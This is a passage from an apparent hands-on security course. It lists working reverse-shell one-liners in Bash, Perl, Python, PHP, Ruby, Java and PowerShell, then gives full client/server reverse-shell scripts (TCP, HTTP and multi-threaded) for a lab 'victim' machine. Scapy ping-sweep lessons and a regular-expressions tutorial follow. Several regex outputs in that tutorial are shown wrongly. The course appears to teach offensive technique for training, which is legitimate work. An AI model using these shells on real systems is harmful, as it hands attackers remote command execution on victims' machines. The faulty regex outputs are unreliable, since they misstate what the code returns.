  1276. --open another terminal--
  1277. wget https://www.trustedsec.com/files/simple_py_shell.py
  1278.  
  1279. vi simple_py_shell.py
  1280.  
  1281.  
  1282.  
  1283. ----------------------------------------------------------------------
  1284.  
  1285.  
  1286.  
  1287. -------------------------------
  1288. Tricky shells
  1289.  
  1290. Reference:
  1291. http://securityweekly.com/2011/10/python-one-line-shell-code.html
  1292. http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
  1293.  
  1294.  
  1295.  
  1296. What is os.dup2?
  1297. https://stackoverflow.com/questions/45517168/what-does-os-dup2-do-in-a-python-reverse-shell-when-used-with-the-socket
  1298.  
  1299.  
  1300.  
  1301.  
  1302.  
  1303. Lots of reverse shells in different languages
  1304. ---------------------------------------------------------------------
  1305.  
  1306.  
  1307.  
  1308. ########
  1309. # Bash #
  1310. ########
  1311.  
  1312. ---------------------------Type This-----------------------------------
  1313.  
  1314.  
  1315. bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
  1316.  
  1317. ----------------------------------------------------------------------
  1318.  
  1319.  
  1320. ########
  1321. # Perl #
  1322. ########
  1323.  
  1324. ---------------------------Type This-----------------------------------
  1325.  
  1326.  
  1327. perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  1328.  
  1329.  
  1330.  
  1331. cat perlbackdoor.pl
  1332. #!/usr/bin/perl
  1333. use Socket;
  1334. use FileHandle;
  1335. $IP = $ARGV[0];
  1336. $PORT = $ARGV[1];
  1337. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
  1338. connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
  1339. SOCKET->autoflush();
  1340. open(STDIN, ">&SOCKET");
  1341. open(STDOUT,">&SOCKET");
  1342. open(STDERR,">&SOCKET");
  1343. system("/bin/sh -i");
  1344.  
  1345. ----------------------------------------------------------------------
  1346.  
  1347. ##########
  1348. # Python #
  1349. ##########
  1350.  
  1351. ---------------------------Type This-----------------------------------
  1352.  
  1353. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1354.  
  1355. ----------------------------------------------------------------------
  1356.  
  1357. #######
  1358. # Php #
  1359. #######
  1360. ---------------------------Type This-----------------------------------
  1361.  
  1362. php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  1363.  
  1364. ----------------------------------------------------------------------
  1365.  
  1366. ########
  1367. # ruby #
  1368. ########
  1369. ---------------------------Type This-----------------------------------
  1370.  
  1371. ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  1372.  
  1373. ----------------------------------------------------------------------
  1374.  
  1375.  
  1376. ########
  1377. # Java #
  1378. ########
  1379. ---------------------------Type This-----------------------------------
  1380.  
  1381. r = Runtime.getRuntime()
  1382. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  1383. p.waitFor()
  1384.  
  1385.  
  1386. exec 5<>/dev/tcp/127.0.0.1/1234
  1387.  
  1388.  
  1389. cat <&5 | while read line; do $line 2>&5 >&5; done
  1390.  
  1391. exec 5<>/dev/tcp/127.0.0.1/1234
  1392.  
  1393. while read line 0<&5; do $line 2>&5 >&5; done
  1394. 0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
  1395.  
  1396. ----------------------------------------------------------------------
  1397.  
  1398. ##############
  1399. # Powershell #
  1400. ##############
  1401. ---------------------------Type This-----------------------------------
  1402.  
  1403. powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit; };$address = '127.0.0.1'; $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize ;$process = New-Object System.Diagnostics.Process ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' ;$process.StartInfo.RedirectStandardInput = 1 ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0 ;$process.Start() ;$inputstream = $process.StandardInput ;$outputstream = $process.StandardOutput ;Start-Sleep 1 ;$encoding = new-object System.Text.AsciiEncoding ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length) ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup} ;$pos = 0; $i = 1; while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos); $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos); $inputstream.write($string); start-sleep 1; if ($process.ExitCode -ne $null) {ReverseShellClean};else { $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){; $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}; $stream.Write($encoding.GetBytes($out),0,$out.length); $out = $null; $string = $null}} else {ReverseShellClean}};"
  1404.  
  1405.  
  1406.  
  1407. ----------------------------------------------------------------------
  1408.  
  1409.  
  1410.  
  1411.  
  1412.  
  1413. ###############################
  1414. # Reverse Shell in Python 2.7 #
  1415. ###############################
  1416.  
  1417. We'll create 2 python files. One for the server and one for the client.
  1418.  
  1419. - Below is the python code that is running on victim/client Windows machine:
  1420.  
  1421. ---------------------------Paste This-----------------------------------
  1422.  
  1423. # Client
  1424.  
  1425. import socket # For Building TCP Connection
  1426. import subprocess # To start the shell in the system
  1427.  
  1428. def connect():
  1429. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1430. s.connect(('192.168.243.150',8080))
  1431.  
  1432. while True: #keep receiving commands
  1433. command = s.recv(1024)
  1434.  
  1435. if 'terminate' in command:
  1436. s.close() #close the socket
  1437. break
  1438.  
  1439. else:
  1440.  
  1441. CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  1442. s.send( CMD.stdout.read() ) # send the result
  1443. s.send( CMD.stderr.read() ) # incase you mistyped a command.
  1444. # we will send back the error
  1445.  
  1446. def main ():
  1447. connect()
  1448. main()
  1449.  
  1450.  
  1451. ----------------------------------------------------------------------
  1452.  
  1453. - Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
  1454.  
  1455. ---------------------------Paste This-----------------------------------
  1456.  
  1457. # Server
  1458.  
  1459. import socket # For Building TCP Connection
  1460.  
  1461.  
  1462. def connect ():
  1463.  
  1464. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1465. s.bind(("192.168.243.150", 8080))
  1466. s.listen(1)
  1467. conn, addr = s.accept()
  1468. print '[+] We got a connection from: ', addr
  1469.  
  1470.  
  1471. while True:
  1472. command = raw_input("Shell> ")
  1473.  
  1474. if 'terminate' in command:
  1475. conn.send('termminate')
  1476. conn.close() # close the connection with host
  1477. break
  1478.  
  1479. else:
  1480. conn.send(command) #send command
  1481. print conn.recv(1024)
  1482.  
  1483. def main ():
  1484. connect()
  1485. main()
  1486.  
  1487. ----------------------------------------------------------------------
  1488.  
  1489. - First run server.py code from Ubuntu machine. From command line type:
  1490.  
  1491. ---------------------------Type This-----------------------------------
  1492.  
  1493. python server.py
  1494.  
  1495. ----------------------------------------------------------------------
  1496.  
  1497. - then check if 8080 port is open, and if we are listening on 8080:
  1498.  
  1499. ---------------------------Type This-----------------------------------
  1500.  
  1501. netstat -antp | grep "8080"
  1502.  
  1503. ----------------------------------------------------------------------
  1504.  
  1505. - Then on victim ( Windows ) unit run client.py code.
  1506.  
  1507.  
  1508. - Connection will be established, and you will get a shell on Ubuntu:
  1509.  
  1510. ---------------------------Type This-----------------------------------
  1511.  
  1512. infosecaddicts@ubuntu:~$ python server.py
  1513. [+] We got a connection from: ('192.168.243.1', 56880)
  1514. Shell> arp -a
  1515.  
  1516. Shell> ipconfig
  1517.  
  1518. Shell> dir
  1519. ----------------------------------------------------------------------
  1520.  
  1521.  
  1522. ##########################################
  1523. # HTTP based reverse shell in Python 2.7 #
  1524. ##########################################
  1525.  
  1526.  
  1527. - The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
  1528. - Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
  1529.  
  1530. Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
  1531.  
  1532. - Install requests package:
  1533. ---------------------------Type This-----------------------------------
  1534.  
  1535. python -m pip install requests
  1536.  
  1537. ----------------------------------------------------------------------
  1538.  
  1539. - Copy and paste below code into client_http.py on your Windows machine:
  1540.  
  1541. - In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
  1542.  
  1543. ---------------------------Paste This-----------------------------------
  1544. # Client
  1545.  
  1546. import requests
  1547. import subprocess
  1548. import time
  1549.  
  1550.  
  1551. while True:
  1552. req = requests.get('http://192.168.243.150')
  1553. command = req.text
  1554.  
  1555. if 'terminate' in command:
  1556. break
  1557.  
  1558. else:
  1559. CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  1560. post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
  1561. post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
  1562.  
  1563. time.sleep(3)
  1564.  
  1565.  
  1566.  
  1567.  
  1568. ----------------------------------------------------------------------
  1569.  
  1570.  
  1571.  
  1572. - Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
  1573.  
  1574.  
  1575. ---------------------------Paste This-----------------------------------
  1576.  
  1577. import BaseHTTPServer
  1578. HOST_NAME = '192.168.243.150'
  1579. PORT_NUMBER = 80
  1580. class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  1581.  
  1582. def do_GET(s):
  1583. command = raw_input("Shell> ")
  1584. s.send_response(200)
  1585. s.send_header("Content-type", "text/html")
  1586. s.end_headers()
  1587. s.wfile.write(command)
  1588.  
  1589.  
  1590. def do_POST(s):
  1591. s.send_response(200)
  1592. s.end_headers()
  1593. length = int(s.headers['Content-Length'])
  1594. postVar = s.rfile.read(length)
  1595. print postVar
  1596.  
  1597. if __name__ == '__main__':
  1598. server_class = BaseHTTPServer.HTTPServer
  1599. httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
  1600.  
  1601. try:
  1602. httpd.serve_forever()
  1603. except KeyboardInterrupt:
  1604. print'[!] Server is terminated'
  1605. httpd.server_close()
  1606.  
  1607. ----------------------------------------------------------------------
  1608.  
  1609. - run server_HTTP.py on Ubuntu with next command:
  1610.  
  1611. ---------------------------Type This-----------------------------------
  1612.  
  1613. infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
  1614.  
  1615. ----------------------------------------------------------------------
  1616.  
  1617.  
  1618. - on Windows machine run client_http.py
  1619.  
  1620. - on Ubuntu you will see that connection is established:
  1621.  
  1622. ---------------------------Type This-----------------------------------
  1623.  
  1624. infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
  1625. Shell> dir
  1626. ----------------------------------------------------------------------
  1627.  
  1628. 192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
  1629. 192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
  1630. Volume in drive C has no label.
  1631.  
  1632.  
  1633. ############################################
  1634. # Multi-Threaded Reverse Shell in Python 3 #
  1635. ############################################
  1636.  
  1637.  
  1638. - We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
  1639.  
  1640. Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
  1641.  
  1642.  
  1643. Server.py code:
  1644. ---------------------------Paste This-----------------------------------
  1645.  
  1646. import socket
  1647. import sys
  1648.  
  1649. # Create socket (allows two computers to connect)
  1650.  
  1651. def socket_create():
  1652. try:
  1653. global host
  1654. global port
  1655. global s
  1656. host = ''
  1657. port = 9999
  1658. s = socket.socket()
  1659. except socket.error as msg:
  1660. print("Socket creation error: " + str(msg))
  1661.  
  1662. # Bind socket to port and wait for connection from client
  1663. def socket_bind():
  1664. try:
  1665. global host
  1666. global port
  1667. global s
  1668. print("Binding socket to port: " + str(port))
  1669. s.bind((host,port))
  1670. s.listen(5)
  1671. except socket.error as msg:
  1672. print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
  1673. socket_bind()
  1674.  
  1675. # Establish a connection with client (socket must be listening for them)
  1676. def socket_accept():
  1677. conn, address = s.accept()
  1678. print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
  1679. send_commands(conn)
  1680. conn.close()
  1681.  
  1682.  
  1683. # Send commands
  1684. def send_commands(conn):
  1685. while True:
  1686. cmd = raw_input() #input() is changed to raw_input() in order to work on python2.7
  1687. if cmd == 'quit':
  1688. conn.close()
  1689. s.close()
  1690. sys.exit()
  1691. if len(str.encode(cmd))>0:
  1692. conn.send(str.encode(cmd))
  1693. client_response = str(conn.recv(1024)) # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
  1694. print(client_response)
  1695.  
  1696. # References for str.encode/decode
  1697. # https://www.tutorialspoint.com/python/string_encode.htm
  1698. # https://www.tutorialspoint.com/python/string_decode.htm
  1699.  
  1700.  
  1701. def main():
  1702. socket_create()
  1703. socket_bind()
  1704. socket_accept()
  1705.  
  1706. main()
  1707.  
  1708.  
  1709.  
  1710. ----------------------------------------------------------------------
  1711.  
  1712.  
  1713. -After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
  1714.  
  1715. Client.py code:
  1716.  
  1717. ---------------------------Paste This-----------------------------------
  1718.  
  1719. import os
  1720. import socket
  1721. import subprocess
  1722.  
  1723. s = socket.socket()
  1724. host = '192.168.243.150' # change to IP address of your server
  1725. port = 9999
  1726. s.connect((host, port))
  1727.  
  1728. while True:
  1729. data = s.recv(1024)
  1730. if data[:2].decode("utf-8") == 'cd':
  1731. os.chdir(data[3:].decode("utf-8"))
  1732. if len(data) > 0:
  1733. cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  1734. output_bytes = cmd.stdout.read() + cmd.stderr.read()
  1735. output_str = str(output_bytes) # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
  1736. s.send(str.encode(output_str + str(os.getcwd()) + '> '))
  1737. print(output_str)
  1738. # References for str.encode/decode
  1739. # https://www.tutorialspoint.com/python/string_encode.htm
  1740. # https://www.tutorialspoint.com/python/string_decode.htm
  1741.  
  1742. # Close connection
  1743. s.close()
  1744.  
  1745.  
  1746. ----------------------------------------------------------------------
  1747.  
  1748. ---------------------------Type This-----------------------------------
  1749.  
  1750. python client.py
  1751. ----------------------------------------------------------------------
  1752.  
  1753. - Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
  1754.  
  1755. ---------------------------Type This-----------------------------------
  1756.  
  1757. infosecaddicts@ubuntu:~$ python server.py
  1758.  
  1759. ----------------------------------------------------------------------
  1760.  
  1761. Binding socket to port: 9999
  1762. Connection has been established | IP 192.168.243.1 | Port 57779
  1763. dir
  1764. Volume in drive C has no label.
  1765.  
  1766.  
  1767. Directory of C:\Python27
  1768.  
  1769.  
  1770.  
  1771.  
  1772.  
  1773.  
  1774.  
  1775.  
  1776.  
  1777.  
  1778.  
  1779. ###############################
  1780. # Lesson 21: Installing Scapy #
  1781. ###############################
  1782.  
  1783. ---------------------------Type This-----------------------------------
  1784.  
  1785. sudo apt-get update
  1786. sudo apt-get install python-scapy python-pyx python-gnuplot
  1787.  
  1788. ----------------------------------------------------------------------
  1789.  
  1790. Reference Page For All Of The Commands We Will Be Running:
  1791. http://samsclass.info/124/proj11/proj17-scapy.html
  1792.  
  1793. Great slides for Scapy:
  1794. http://www.secdev.org/conf/scapy_csw05.pdf
  1795.  
  1796.  
  1797.  
  1798.  
  1799. To run Scapy interactively
  1800. ---------------------------Type This-----------------------------------
  1801.  
  1802. sudo scapy
  1803.  
  1804. ----------------------------------------------------------------------
  1805.  
  1806.  
  1807. ################################################
  1808. # Lesson 22: Sending ICMPv4 Packets with scapy #
  1809. ################################################
  1810.  
  1811. In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
  1812.  
  1813. ---------------------------Type This-----------------------------------
  1814.  
  1815. i = IP()
  1816.  
  1817. ----------------------------------------------------------------------
  1818.  
  1819.  
  1820.  
  1821. This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
  1822.  
  1823. ---------------------------Type This-----------------------------------
  1824.  
  1825. i.display()
  1826.  
  1827. ----------------------------------------------------------------------
  1828.  
  1829.  
  1830.  
  1831. Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
  1832.  
  1833. ---------------------------Type This-----------------------------------
  1834.  
  1835. i.dst="10.65.75.49"
  1836.  
  1837. i.display()
  1838.  
  1839.  
  1840. ----------------------------------------------------------------------
  1841.  
  1842.  
  1843. Notice that scapy automatically fills in your machine's source IP address.
  1844.  
  1845. Use these commands to create an object named ic of type ICMP and display its properties:
  1846.  
  1847. ---------------------------Type This-----------------------------------
  1848.  
  1849. ic = ICMP()
  1850.  
  1851. ic.display()
  1852.  
  1853.  
  1854. ----------------------------------------------------------------------
  1855.  
  1856.  
  1857.  
  1858. Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
  1859.  
  1860. ---------------------------Type This-----------------------------------
  1861.  
  1862. sr1(i/ic)
  1863.  
  1864. ----------------------------------------------------------------------
  1865.  
  1866.  
  1867.  
  1868.  
  1869. This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
  1870.  
  1871. The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
  1872.  
  1873. Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
  1874.  
  1875. ---------------------------Type This-----------------------------------
  1876.  
  1877. sr1(i/ic/"YOUR NAME")
  1878.  
  1879. ----------------------------------------------------------------------
  1880.  
  1881. You should see a reply with a Raw section containing your name.
  1882.  
  1883.  
  1884.  
  1885. ##############################################
  1886. # Lesson 23: Sending a UDP Packet with Scapy #
  1887. ##############################################
  1888.  
  1889.  
  1890. Preparing the Target
  1891.  
  1892. ---------------------------Type This-----------------------------------
  1893.  
  1894. $ ncat -ulvp 4444
  1895.  
  1896. ----------------------------------------------------------------------
  1897.  
  1898.  
  1899.  
  1900. --open another terminal--
  1901. In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
  1902.  
  1903. ---------------------------Type This-----------------------------------
  1904.  
  1905.  
  1906. u = UDP()
  1907.  
  1908. u.display()
  1909.  
  1910. ----------------------------------------------------------------------
  1911.  
  1912.  
  1913. This creates an object named u of type UDP, and displays its properties.
  1914.  
  1915. Execute these commands to change the destination port to 4444 and display the properties again:
  1916.  
  1917. ---------------------------Type This-----------------------------------
  1918.  
  1919. i.dst="10.10.2.97" <--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
  1920.  
  1921. u.dport = 4444
  1922.  
  1923. u.display()
  1924.  
  1925. ----------------------------------------------------------------------
  1926.  
  1927.  
  1928. Execute this command to send the packet to the Windows machine:
  1929.  
  1930. ---------------------------Type This-----------------------------------
  1931.  
  1932. send(i/u/"YOUR NAME SENT VIA UDP\n")
  1933.  
  1934. ----------------------------------------------------------------------
  1935.  
  1936.  
  1937. On the Windows target, you should see the message appear
  1938.  
  1939.  
  1940.  
  1941.  
  1942. #######################################
  1943. # Lesson 24: Ping Sweeping with Scapy #
  1944. #######################################
  1945.  
  1946. ---------------------------Paste This-----------------------------------
  1947.  
  1948.  
  1949. #!/usr/bin/python
  1950. from scapy.all import *
  1951.  
  1952. TIMEOUT = 2
  1953. conf.verb = 0
  1954. for ip in range(0, 256):
  1955. packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
  1956. # You will need to change 10.10.30 above this line to the subnet for your network
  1957. reply = sr1(packet, timeout=TIMEOUT)
  1958. if not (reply is None):
  1959. print reply.dst, "is online"
  1960. else:
  1961. print "Timeout waiting for %s" % packet[IP].dst
  1962.  
  1963. ----------------------------------------------------------------------
  1964.  
  1965.  
  1966. ###############################################
  1967. # Checking out some scapy based port scanners #
  1968. ###############################################
  1969.  
  1970. ---------------------------Type This-----------------------------------
  1971.  
  1972. wget http://45.63.104.73/rdp_scan.py
  1973.  
  1974. cat rdp_scan.py
  1975.  
  1976. sudo python rdp_scan.py
  1977.  
  1978. ----------------------------------------------------------------------
  1979.  
  1980. ######################################
  1981. # Dealing with conf.verb=0 NameError #
  1982. ######################################
  1983.  
  1984. ---------------------------Type This-----------------------------------
  1985.  
  1986. conf.verb = 0
  1987. NameError: name 'conf' is not defined
  1988.  
  1989. Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
  1990.  
  1991. from scapy import *
  1992. to
  1993. from scapy.all import *
  1994.  
  1995.  
  1996.  
  1997.  
  1998. Reference:
  1999. http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
  2000.  
  2001.  
  2002. conf.verb=0 is a verbosity setting (configuration/verbosity = conv
  2003.  
  2004.  
  2005.  
  2006. Here are some good Scapy references:
  2007. http://www.secdev.org/projects/scapy/doc/index.html
  2008. http://resources.infosecinstitute.com/port-scanning-using-scapy/
  2009. http://www.hackerzvoice.net/ouah/blackmagic.txt
  2010. http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
  2011.  
  2012.  
  2013.  
  2014.  
  2015.  
  2016.  
  2017.  
  2018.  
  2019.  
  2020.  
  2021.  
  2022.  
  2023. #######################
  2024. # Regular Expressions #
  2025. #######################
  2026.  
  2027.  
  2028.  
  2029. **************************************************
  2030. * What is Regular Expression and how is it used? *
  2031. **************************************************
  2032.  
  2033.  
  2034. Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
  2035.  
  2036.  
  2037. Regular expressions use two types of characters:
  2038.  
  2039. a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
  2040.  
  2041. b) Literals (like a,b,1,2…)
  2042.  
  2043.  
  2044. In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
  2045.  
  2046.  
  2047. Use this code --> import re
  2048.  
  2049.  
  2050.  
  2051.  
  2052. The most common uses of regular expressions are:
  2053. --------------------------------------------------
  2054.  
  2055. - Search a string (search and match)
  2056. - Finding a string (findall)
  2057. - Break string into a sub strings (split)
  2058. - Replace part of a string (sub)
  2059.  
  2060.  
  2061.  
  2062. Let's look at the methods that library "re" provides to perform these tasks.
  2063.  
  2064.  
  2065.  
  2066. ****************************************************
  2067. * What are various methods of Regular Expressions? *
  2068. ****************************************************
  2069.  
  2070.  
  2071. The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
  2072.  
  2073. re.match()
  2074. re.search()
  2075. re.findall()
  2076. re.split()
  2077. re.sub()
  2078. re.compile()
  2079.  
  2080. Let's look at them one by one.
  2081.  
  2082.  
  2083. re.match(pattern, string):
  2084. -------------------------------------------------
  2085.  
  2086. This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
  2087.  
  2088. Code
  2089. ---------------------------Type This-----------------------------------
  2090.  
  2091. import re
  2092. result = re.match(r'AV', 'AV Analytics ESET AV')
  2093. print result
  2094. ----------------------------------------------------------------------
  2095.  
  2096. Output:
  2097. <_sre.SRE_Match object at 0x0000000009BE4370>
  2098.  
  2099. Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
  2100.  
  2101. ---------------------------Type This-----------------------------------
  2102.  
  2103. result = re.match(r'AV', 'AV Analytics ESET AV')
  2104. print result.group(0)
  2105. ----------------------------------------------------------------------
  2106.  
  2107. Output:
  2108. AV
  2109.  
  2110.  
  2111. Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
  2112.  
  2113.  
  2114. Code
  2115. ---------------------------Type This-----------------------------------
  2116.  
  2117. result = re.match(r'Analytics', 'AV Analytics ESET AV')
  2118. print result
  2119. ----------------------------------------------------------------------
  2120.  
  2121.  
  2122. Output:
  2123. None
  2124.  
  2125.  
  2126. There are methods like start() and end() to know the start and end position of matching pattern in the string.
  2127.  
  2128. Code
  2129. ---------------------------Type This-----------------------------------
  2130.  
  2131. result = re.match(r'AV', 'AV Analytics ESET AV')
  2132. print result.start()
  2133. print result.end()
  2134. ----------------------------------------------------------------------
  2135.  
  2136. Output:
  2137. 0
  2138. 2
  2139.  
  2140. Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
  2141.  
  2142.  
  2143.  
  2144.  
  2145.  
  2146. re.search(pattern, string):
  2147. -----------------------------------------------------
  2148.  
  2149.  
  2150. It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
  2151.  
  2152. Code
  2153. ---------------------------Type This-----------------------------------
  2154.  
  2155. result = re.search(r'Analytics', 'AV Analytics ESET AV')
  2156. print result.group(0)
  2157. ----------------------------------------------------------------------
  2158.  
  2159. Output:
  2160. Analytics
  2161.  
  2162. Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
  2163.  
  2164.  
  2165.  
  2166.  
  2167.  
  2168.  
  2169. re.findall (pattern, string):
  2170. ------------------------------------------------------
  2171.  
  2172.  
  2173. It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
  2174.  
  2175.  
  2176. Code
  2177. ---------------------------Type This-----------------------------------
  2178.  
  2179. result = re.findall(r'AV', 'AV Analytics ESET AV')
  2180. print result
  2181. ----------------------------------------------------------------------
  2182.  
  2183. Output:
  2184. ['AV', 'AV']
  2185.  
  2186.  
  2187.  
  2188.  
  2189.  
  2190. re.split(pattern, string, [maxsplit=0]):
  2191. ------------------------------------------------------
  2192.  
  2193.  
  2194.  
  2195. This methods helps to split string by the occurrences of given pattern.
  2196.  
  2197.  
  2198. Code
  2199. ---------------------------Type This-----------------------------------
  2200.  
  2201. result=re.split(r'y','Analytics')
  2202. result
  2203. ----------------------------------------------------------------------
  2204.  
  2205. Output:
  2206. ['Anal', 'tics']
  2207.  
  2208. Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
  2209.  
  2210.  
  2211. Code
  2212. ---------------------------Type This-----------------------------------
  2213.  
  2214. result=re.split(r's','Analytics eset')
  2215. print result
  2216. ----------------------------------------------------------------------
  2217.  
  2218. Output:
  2219. ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
  2220.  
  2221.  
  2222.  
  2223. Code
  2224. ---------------------------Type This-----------------------------------
  2225.  
  2226. result=re.split(r's','Analytics eset',maxsplit=1)
  2227. result
  2228. ----------------------------------------------------------------------
  2229.  
  2230. Output:
  2231. []
  2232.  
  2233.  
  2234.  
  2235.  
  2236.  
  2237. re.sub(pattern, repl, string):
  2238. ----------------------------------------------------------
  2239.  
  2240. It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
  2241.  
  2242. Code
  2243. ---------------------------Type This-----------------------------------
  2244.  
  2245. result=re.sub(r'Ruby','Python','Joe likes Ruby')
  2246. result
  2247. ----------------------------------------------------------------------
  2248.  
  2249. Output:
  2250. ''
  2251.  
  2252.  
  2253.  
  2254.  
  2255.  
  2256. re.compile(pattern, repl, string):
  2257. ----------------------------------------------------------
  2258.  
  2259.  
  2260. We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
  2261.  
  2262.  
  2263. Code
  2264. ---------------------------Type This-----------------------------------
  2265.  
  2266. import re
  2267. pattern=re.compile('XSS')
  2268. result=pattern.findall('XSS is Cross Site Scripting, XSS')
  2269. print result
  2270. result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
  2271. print result2
  2272. ----------------------------------------------------------------------
  2273.  
  2274. Output:
  2275. ['XSS', 'XSS']
  2276. ['XSS']
  2277.  
  2278. Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
  2279.  
  2280. This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
  2281.  
  2282.  
  2283.  
  2284.  
  2285.  
  2286. **********************************************
  2287. * What are the most commonly used operators? *
  2288. **********************************************
  2289.  
  2290.  
